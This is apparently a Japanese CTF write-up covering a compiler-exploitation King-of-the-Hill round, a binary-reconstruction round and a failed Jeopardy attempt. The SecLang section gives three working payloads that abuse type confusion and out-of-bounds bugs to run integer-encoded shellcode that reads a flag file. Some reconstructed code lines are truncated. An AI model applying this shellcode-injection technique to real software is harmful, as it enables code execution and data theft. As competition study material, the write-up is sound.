KoH + Jeopardyという問題構成。KoHは3問あり、1日目に1問、2日目に2問出題された。1日目の問題はpwn色の強い問題、2日目はrevとcrypto(?)っぽい問題。 KoHには昼間の間取り組むことが可能であり、Jeopardyは2日間共通だったため家で取り組むことができた。
なおTSGのメンバーとしてinternationalの方に参加させてもらったものの順位は... *1
KoH SecLang (Pwn)
概要
競技者は次の2つのことをすることが可能 1. コンパイラにパッチを当てバグを修正する。 2. 他チームのコンパイラのunsound holeを攻撃する。
5分に1回、コンパイラが正しく動作しているかのテストが走り点数が加算される他、他人のコンパイラでRCEに成功してフラグが盗めた場合、点数を得ることができる。
また、他人のコンパイラの攻撃に対するfeedbackとして、コンパイル結果のアセンブリが得られる。これによって、他のチームのコンパイラにどういうmitigationが入っているのかをある程度推察することができる（これに基づいて、チームごとにカスタムした攻撃プログラムを書くことができる）。
コンパイラの実装
言語としては何likeなといえばいいかわからないが、強いて言えば言語仕様はPythonに近い。Pythonのコードを与えられてコンパイルしてx86_64 asmにする（バグりまくりの *2 ）コンパイラが与えられたといえばだいたい正しい。 プログラム例としては、配布されたサンプルとしてフィボナッチ数を計算するプログラムは次のようになる。
func fib(n) {
if n <= 0 { return 0; }
if n == 1 { return 1; }
if n == 2 { return 1; }
return fib(n-1) + fib(n-2);
}
func main() {
print("n = ");
n = scan();
if n > 20 {
print("n is too big!\n");
exit(1);
}
print("fib(");
print(n);
print(") = ");
print(fib(n));
print("\n");
}
コンパイラがやっていることは、
- parseしてASTを得る
- ASTを歩いて、各exprから対応するアセンブリを生成する
であってとても単純。
例えば、x + 4 という式に対しては、x と 4のアセンブリを生成し、結果がstack上に配置（値と型タグのpair）されているので、それらをpopし、add(sub)した結果をpushする。
def add_expr(self, tree): """Add/Sub operator x+y, x-y """ if len(tree.children) == 1: self.visit(tree.children[0]) else: self.visit(tree.children[0]) op = tree.children[1] self.visit(tree.children[2]) self.code.pop_value('rdx', 'rbx') self.code.pop_value('rax') if op == '+': self.code.text(["add rax, rdx"]) elif op == '-': self.code.text(["sub rax, rdx"]) else: raise CompileError("Unreachable") self.code.push_value('rax', 'rbx')
コンパイラのバグ
このコンパイラには色々なバグが含まれている
type confusion
func one() {
return 1;
}
func main() {
print(one + 0);
}
関数と整数を足し算すると、その結果を整数として手に入れることができる。
func main() {
x = 1;
x();
}
逆に、整数を関数として使うことができることも
配列外参照
func main() {
x = [1, 3];
x[10000] = 1;
}
セグフォ
配列の "UAF"
call stackの上の方で配列を作って返すと、UAF的に
func f() {
x = [1; 3];
return x;
}
func main() {
x = f();
print(x[0]);
}
これはセグフォ
引数の数
func f() {
return 5;
}
func main() {
x = 1;
x = f(2, 3, 4);
print(x);
}
これは5を返す。
などなどのバグが有り、これらを利用して、サーバー上の/flag.txtを得ることを目指す。*3
writeup
このバイナリでは、stackがrwxなので、シェルコードをここにおいて実行すれば良いことがわかる。シェルコードは単にopen -> read -> writeをするものを作れば良い。 基本方針は、配列を用いてこのガジェットをstack上に配置し、type confusionを用いて、このstack上のポインタを"呼び出す"。
payload 1
チームによってmitigationが異なったので、微妙にpayloadを変えている。まず、ほとんどのチームに刺さるのが
func toi(x) {
ar = [x; 1];
dum = [1; 1];
return dum[6];
}
func tof(x) {
ar = [x; 1];
dum = [toi; 1];
return dum[6];
}
func main() {
fibtxt = [0xdead; 1];
fibtxt[0] = 0x78742e67616c662f;
fibtxt[1] = 116;
fib_addr = toi(fibtxt) + 16;
uouo = [0xdead; 20];
wai = [toi; 1];
uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
wai[0] = uouo_addr;
f = tof(wai[0]);
f(fib_addr);
}
というpayload。これは、配列外参照を用いてtype confusionを起こしている。 ちなみに、一度waiという配列に入れてから取り出しているのは、関数呼び出し時の型チェックを回避するため（これは比較的実装しやすい）。 効いていたかはあんまちゃんと調べてないからわからない。
また「fib」とかいているのは、実は「flag」の意味で、悪い人間がflagという文字列を書いたら落とすようにしてたりしそうだと思ったので置換した。
payload 2
上の例では配列外参照を用いているが、実はこれはパッチしやすい。実際Dice Gang、Super Guessrは早々にこれに気づいてパッチしていた模様（悔しい）。 とはいえ、この2チームは 「整数 + 配列」のtype confusionには対処していなかったので、これを用いてtoi/tofを実装すると、攻撃できた
func toi(x) {
return x + 0;
}
func main() {
fibtxt = [0xdead; 5];
fibtxt[0] = 0x78742e67616c662f;
fibtxt[1] = 116;
fib_addr = fibtxt + 16;
uouo = [0xdead; 20];
peko = [toi; 1];
uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = uouo + 16;
peko[0] = uouo_addr;
f = peko[0];
f(fib_addr);
}
足し算でのtype confusionを用いて配列外参照なしで、exploitしている。
payload 3
これはhxp専用。なんでかしらんけど（忘れた）、type checkしている？っぽいし、配列外参照も気にしている？っぽい？よく分からん。なんかでもこれでpwnできた。一番目だとpwnできない（はず）。
func toi(x) {
ar = [x; 1];
dum = [1; 1];
return dum[6];
}
func tof(x) {
ar = [x; 1];
dum = [toi; 1];
return dum[6];
}
func main() {
fibtxt = [0xdead; 5];
fibtxt[0] = 0x78742e67616c662f;
fibtxt[1] = 116;
fib_addr = toi(fibtxt) + 16;
uouo = [0xdead; 20];
peko = [toi; 1];
uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
peko[0] = uouo_addr;
f = tof(peko[0]);
f(fib_addr);
}
perfect blue
最後（最後の1h?）、かなり真面目なパッチを当ててきて、pwnできなかった（というかまだunsound holeがあるのは分かっていたが時間効率的にやっても仕方ないかと思ってやらなかった）。
何をやっていたかというと - heap領域をちゃんと確保（上述のUAFバグ回避） - 配列の各要素に型タグを追加 - 型チェックの導入
で、特にこの2番目の影響でstack上の連続した領域にシェルコードを貼る方法を雑にやるのが、直ちに分からなかったので、諦めた。 多分international teamの中で一番よくできたパッチだったと思う。
入れた mitigation
上のpwnと並行して、コンパイラのmitigationも行った。とはいってもとても簡単なもの。それでもおそらく数チームの攻撃を防いだと思われる。
- 定数のロードが
/flag.txっぽかったら落とす（カス） - 配列外参照しそうになったらexit
- 関数呼び出しの際に実際にそれが関数の型を持つかを判定
程度。開始段階で、ちゃんとやるなら、上のUAF問題をなんとかしないといけないと思ったので(pbが最終的にやっていたように)開始当初にmmap領域を作って、そこからarrayをallocするようにしようとしていたが、普通に発狂して終了し（コンパイラの構造を雑に理解するのがしんどかった）、ひたすらpwnする方針に切り替えた。正直方針ミスだった（とりあえずpwnする方向で最初からやっていれば）なあとあとから思う。 *4
これ2日目があったら、1日目で圧倒的コンパイラを完成させ2日目でひたすら点数を稼ぐ（＆強いコンパイラを頑張ってpwn）みたいなのができたかもしれないので、それはそれで面白かったかもしれない。
KoH Heptarchy (Rev)
1時間ごとに異なる言語で書かれたバイナリが与えられるので、それらをrev *5 して、"できる限り同じバイナリを吐くような" ソースコードを提出しろ！という趣旨の問題。スコアは、提示されたコンパイル環境下で生成されたアセンブリの提示されたバイナリとのdiffの大きさにより計測。KoHで5分に1度評価があり（つまり1バイナリにつき12回評価がある）、diffの小さい順に、1位が20点、2位が18点...。diffの取り方はなんか知らんけど賢い方法でされてるらしい。oracleとして"信じた"ので実際ここもhackできる余地があったのかも。
インラインアセンブリが埋め込めるCなどは、実はアセンブリをべたと貼り付けるといけたのかもしれないが、基本的にはC++とかRustとかDとかはインラインアセンブリがあっても、polymorphismが解決された後それに基づいてexpansionされた実装が出力されてほしいやつとかに対処ができないと思うので、C以外だとその戦略は難しそうだった（Cでもまあまあちゃんと動くようにするの面倒そうで、1時間しか無い & はやく提出しないと大した点にならないことを思うと題意通りにやるのが正解そう）。また、importの仕方や変数の宣言の仕方等も影響するので、"いい感じ"に模倣できたあとは、プログラムを摂動させて、スコアを縮めていった。
言語は全部で6(7?)種類
基本的にやったことは
- ほとんど無(
fn main(){}のような）を提出して、とりあえずスコアを得る - revをちょっとずつしていってスコアが上がるたびに提出する
というものの繰り返し。難しいのは、GoやDなどは、適切にimportしたライブラリの機械語がバイナリに含まれていないと、diffが大きすぎて（タイムアウトにより）実質的に未提出と同じになる問題。このためGoやDなどは（本当は）それっぽいimportをしてdiffを落として正の点を得られるようにしておくことが大切だったが、あまり上手にはできなかった。
実際のところ最終順位よりもどれだけ長い間、良い順位にいたかが重要だが、まあ分かりやすいので各言語についてdiffと最終順位（discordに貼られていたグラフに基づくので正直嘘かも）を表記する。
あと意外と面白かったので当該の時間帯のChromeの履歴を貼ってみようと思う。
C
- 最終順位: 7th
- diff: 912
初手でIDAでデコンパイルして、近づけて終わり。ゲーム性を理解し始める段階で終わってしまった。if文の順序とか、assertを適切にしたつもり *6
#include <stdio.h> #include <stdlib.h> #include <assert.h> #include <limits.h> // (__int64 a1, __int64 a2, __int64 a3, __int64 a4) long myers_diff(char *f1, unsigned sa, char *f2, unsigned sb) { assert(sa < LONG_MAX/2 && sb < LONG_MAX/2); long max = sa + sb; if ( (unsigned long long)(sa + sb) > 0x7FFFFFFFFFFFFFELL ); assert(max < (LONG_MAX/2-1)/sizeof(ssize_t)); char *calloc_buf = calloc(2 * max + 1, 8uLL); long i, j, k; long result = 0; long v12; for ( i = 0LL; ; ++i ) { result = i; if ( i > max ) break; for ( j = -i; j <= i; j += 2LL ) { if ( j != -i && (j == i || calloc_buf[max - 1 + j] >= calloc_buf[max +) v12 = calloc_buf[max - 1 + j] + 1LL; else v12 = calloc_buf[max + 1 + j]; for ( k = v12 - j; v12 < sa && k <= sb && *(char *)(v12 + f1) == *(cha) ++v12; calloc_buf[max + j] = v12; if ( v12 >= sa && k >= sb ) return i; } } return result; } long int get_size(FILE *f) { fseek(f, 0LL, 2); long int v2 = ftell(f); fseek(f, 0LL, 0); return v2; } int main(int argc, char* argv[]) { FILE *f1; FILE *f2; unsigned sa; unsigned sb; char *buf1; char *buf2; if ( argc <= 2 ) { printf("Usage: %s <file1> <file2>\n", *argv); return 1; } f1 = fopen(argv[1], "r"); if ( !f1 ) { perror(argv[1]); return 1; } f2 = fopen(argv[2], "r"); if ( !f2 ) { perror(argv[2]); fclose(f1); return 1; } sa = get_size(f1); sb = get_size(f2); buf1 = malloc(sa); if ( !buf2 ) { fclose(f2); fclose(f1); return 1; } buf2 = malloc(sb); if ( fread(buf1, 1uLL, sa, f1) == sa && fread(buf2, 1uLL, sb, f2) == sb ) { long int v4 = myers_diff(buf1, sa, buf2, sb); printf("%ld", v4); } free(buf2); free(buf1); fclose(f2); fclose(f1); return 0; }
検索履歴
C++
これもとりあえずIDAにブチ込むと、当社比比較的読みやすいC++が現れたので、メソッド名等からclassが使われていることなどを類推して書いた。C++よくわからんけど、とりあえずautoって書いておけばなんか型があったので助かった。これのせいでむしろ合わなくなっているところもあったのかも。
- 最終順位: 5th
- diff: 3844
#include <iostream> #include <string> #include <iomanip> #include <vector> using namespace std; class RC4 { vector <unsigned char> v; public: RC4(string key) { int i; int j; v.resize(256); for (i = 0; i <= 255; i ++) { v[i] = i; } for ( j = 0; j <= 255; ++j ) { auto v3 = v[j]; auto v9 = v3 + key[j % 4]; auto v5 = v.at(v9); auto v6 = v.at(j); swap(v5, v6); } } char * encrypt(string text) { //return new string; auto v2 = text.size(); auto v8 = new char[v2]; unsigned long long v10; unsigned long long v11; v11 = 0; v10 = 0; int i; for (i = 0; i < text.size(); i++ ) { v10 += v[++v11]; auto v3 = v.at(v11); auto v4 = v.at(v10); swap(v4, v3); //char v5 = v[v11]; //char v6 = v[v10]; //v3 = v[(unsigned long long)(v5 + v6)]; v8[i] = text[i] ^ v3; } return v8; } }; int main(void) { string key; string text; char *result; int i; cout << "Key: "; cin >> key; cout << "Plaintext: "; cin >> text; auto rc4 = RC4(key); cout << "Ciphertext: "; cout << hex << std::setfill ('0'); result = rc4.encrypt(text); for ( i = 0; i < text.size() ; ++i ) { cout << setw(2); cout << result[i]; } cout << endl; //if (result) delete result; return 0; }
検索履歴
Rust
- 最終順位: 5th
- diff: 22048
普段Rust使ってる身としてはもっと上手にいけると思っていたら全然うまくいかず涙を流していた。rem_euclidという関数を初めて知りました。
use std::io; use std::io::BufRead; use std::io::Write; fn get_player_hand(a1: i32) -> i8 { print!("Player {} Hand [Rock/Paper/Scissors]: ", a1); let mut buffer = String::new(); io::stdout().flush().unwrap(); let stdin = io::stdin(); stdin.read_line(&mut buffer).expect("I/O error"); let buffer = buffer.trim(); let buffer = buffer.to_lowercase(); if buffer == "rock" { 0 } else if buffer == "paper" { 1 } else if buffer == "scissors" { 2 } else { panic!("Invalid hand") } } fn main() { let hand1 = get_player_hand(1); let hand2 = get_player_hand(2); let sub = (hand2 - hand1).rem_euclid(3); let s = if sub == 0 { "Draw!" } else { match sub { 1 => "Player 1 wins!", 2 => "Player 2 wins!", _ => unreachable!(), } //if sub == 1 { // "Player 1 wins!" //} else if sub == 2{ // "Player 2 wins!" //} else { // panic!(); //} }; println!("{}", s); }
検索履歴
Go
- 最終順位: 4th
- diff: 576
これとても悔しい。というのもfmtをimportしてprintlnするまでライブラリパートがバイナリに含まれていないことによるdiffが大きすぎるために点数が入っていなかったことに気づいておらず30分くらい経過してから初めて点が入ったので。 shrinker/expanderの復元から始めたが、明らかに先にmainを復元するべきだったし、そもそも実行するのがおそすぎてヒントがあることに気づいたのが結構後だった。 revはちゃんと実行してから解析しようね。 *7
ところでquitに渡している値がなんなのかはよく分からなかった。
package main import ("fmt") var ( main_counter int ) func shrinker(c chan int, quit chan int) { for { elem := <- c if elem == 1 { break } if elem & 1 == 0 { elem /= 2 main_counter += 1 } c <- elem } quit <- 0 } func expander(c chan int, quit chan int) { for { elem := <- c if elem == 1 { break } if elem & 1 != 0 { elem = 3 * elem + 1 main_counter += 1 } c <- elem } quit <- 0 } func main() { var a int fmt.Print("Number: ") fmt.Scan(&a) if a <= 0 { fmt.Println("Invalid number") } else { fmt.Println("[DEBUG] quit := make(chan int)") quit := make(chan int) fmt.Println("[DEBUG] c := make(chan int)") c := make(chan int) fmt.Println("[DEBUG] go shrinker(c, quit)") go shrinker(c, quit) fmt.Println("[DEBUG] go expander(c, quit)") go expander(c, quit) c <- a <- quit fmt.Println(main_counter) } }
検索履歴
Python
- 最終順位: 5th
- diff: 392
Python 3.12とかいう新しいバージョンのPythonなので、uncompyle6をインストールした時間が無駄になる。事前にコンパイラが配布されているのでちゃんと中身を確認しておけばよかった。 decompileができないので仕方なくdisをして読む。難読化されているわけでもないのでまあ読める。
実装は基本的には、RSA暗号風の暗号化と復号をするプログラム。後から思うと range(k)のkってなんやねんとなっていたが、そこは読めていなかった（isPrimeは2引数関数だった）。
#!/usr/local/bin/python import random def isPrime(n=10): if n == 2 or n == 3: return True if n & 1 == 0: return False s = n -1 r = 0 while s & 1 == 0: s >>= 1 r += 1 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1: continue if n - x == 1: for _ in range(r - 1): x = x * x % n if n - x == 1: break else: return False return True def getPrime(bits): while True: p = random.randrange(1 << bits, 1 << (bits + 1)) if isPrime(p): return p if __name__ == '__main__': p = getPrime(256) q = getPrime(256) r = getPrime(256) n = p * q * r e = 65537 m = int.from_bytes(input("Text: ").encode(),"big") if m > n: print("Too long") exit(1) c = pow(m, e, n) print(f'Cipher: {hex(c)}') phi = (p - 1) * (q -1) * (r -1) d = pow(e, -1, phi) mm = pow(c, d, n) assert(m == mm)
検索履歴
D
- 最終順位: 1th
- diff: 1188
これが結果的に一番うまくいった。 開始当初は、Dとか書いたことないしできるわけなくて草と思っていたが、みんな馴れてないらしく、普通に提出が全チーム遅かった気がする。 この問題も適切にimportしないと大きなdiffが出てしまうタイプの問題だったので、importガチャに成功したのも良かったかも。
IDAで開くと結構分かりやすいバイナリだった。write -> readln -> stripをしていそうな様子や、check_passwordの結果に基づいてwritelnをしている様子がわかる。 またcheck_passwordも、シグネチャから、equalというある種のadhoc多相がなされた関数が利用されていそうな様子や、lambda式（特にこれは、closureとして一度確保したものを利用している。直接s.map!の引数に渡すとやや生成されるコードが変わる）が使われていそうな様子、各入力文字に対してxorして比較する様子などが意外と分かりやすい。
最後若干のdiffをうめたいと思ったが、謎ptrace（デバッグ検知でよくある感じのやつが）mainの先頭に置いてあり、これをどうやって出しているのかで試行錯誤して一番diffが小さいものを提出した *8。
import std.stdio; import std.string; import std.algorithm; import std.algorithm.comparison : equal; extern (C) int ptrace(int x, int y, int z, int w); extern (C) int exit(int x); bool check_password(string arg) { auto s = arg.dup; auto f = (dchar x) => x ^ 0x77; auto v4 = s.map!(f); auto v5 = [58, 22, 28, 18, 87, 51, 90, 27, 22, 25, 16, 87, 48, 5, 18, 22, 3, 87, 54, 1; return equal(v4, v5); } void main(){ if (ptrace(0, 0, 1, 0)) { return; } write("Password: "); auto s=readln; auto v6 = strip(s); if (check_password(v6)) { writeln("Correct!"); } else { writeln("Wrong..."); } }
検索履歴
一番検索した
C(wasm)
- 最終順位: 6th
- diff: 7734
これは無理すぎ？ｗと言って諦めた *9。
諦めたと言ってもなんかそれっぽいものだけ提出した
#include <stdio.h> static unsigned __internal_bruteforce(unsigned x, unsigned y, unsigned z) { if (x > y) { return z; } return y; } static unsigned bruteforce(unsigned x, unsigned y) { if (x > y) { return y; } return x; } static unsigned oracle(unsigned x) { for (int i = 0; i < x; i++) { return bruteforce (x, x); } } int __original_main() { puts("[+] Computing..."); int r = __internal_bruteforce(1044, 1, 3); printf("Hit: %d\n", r); puts("[+] Done"); return 0; } int main(void) { return __original_main(); }
検索履歴
CTFerじゃないからwasm2cの使い方毎回ググってる
Jeopardy
え、なんで一問も解けていないんですか？こまった。。。
babyescapeをやっていた（& diagemuをやっていた）が、Kernelオブジェクトを上手に扱うことができず最終的に大量のKernel panicを見るだけになってしまった。悲しい。
正直後から考えると色々正気じゃないパートがあり、sanity check失敗と話題に。
ログ
かわいそう。
履歴はいっぱいあるけど（面倒で全部あげないけど）最後にchatGPTに聞こうとするところだけ面白い
感想
コンテスト全体の満足度が高かった。問題はよく練られていたと思うし、ネットワークも安定しており、インフラも基本的に安定していた。 あと、昼ごはんの謎弁当がおいしかった。 このレベルのコンテストを維持するのは大変だと思うのですが、来年以降も楽しみにしています。
*1:Jeorpadyで分からせられてしまった
*2:ここでいうバグとは、memory corruptionを起こすようなプログラムを吐いてしまうというバグ
*3:他にもwhile文の中で変数を確保すると、stack pointerが適切に移動しなくなるなどのバグがあるらしい
*4:ちなみに、ガチのカスパッチとして、クソデカ定数が来たら落とすというのを実装していたら、テストケースででかい数字を扱うプログラムが有り点数を逆に失った
*5:どうでもよいが、大会後国内大会で優勝したチーム_(-.- _) )_のkeymoonさんが、「st98さんがずっとこの問題をやっていたから、Webだと思っていた」といってたのがちょっとすきだった
*6:と書いていたら、明らかに無駄なif文を見つけてしまい、お気持ちに
*7:どうでもいいが、mikitさんにgolangのバイナリ出たわ〜って離したら、「え、じゃあgoroutineとかかな！」って大声でいうから、おいおい静かにってなっていた。
*8:実は単にinline assemblyを書いているだけだったらしい
*9:隣のhxpに後で効いても無理すぎ？ｗつってたし多分無理すぎだと思ってるけど普通に解いている人間がちらほらおるんだよな
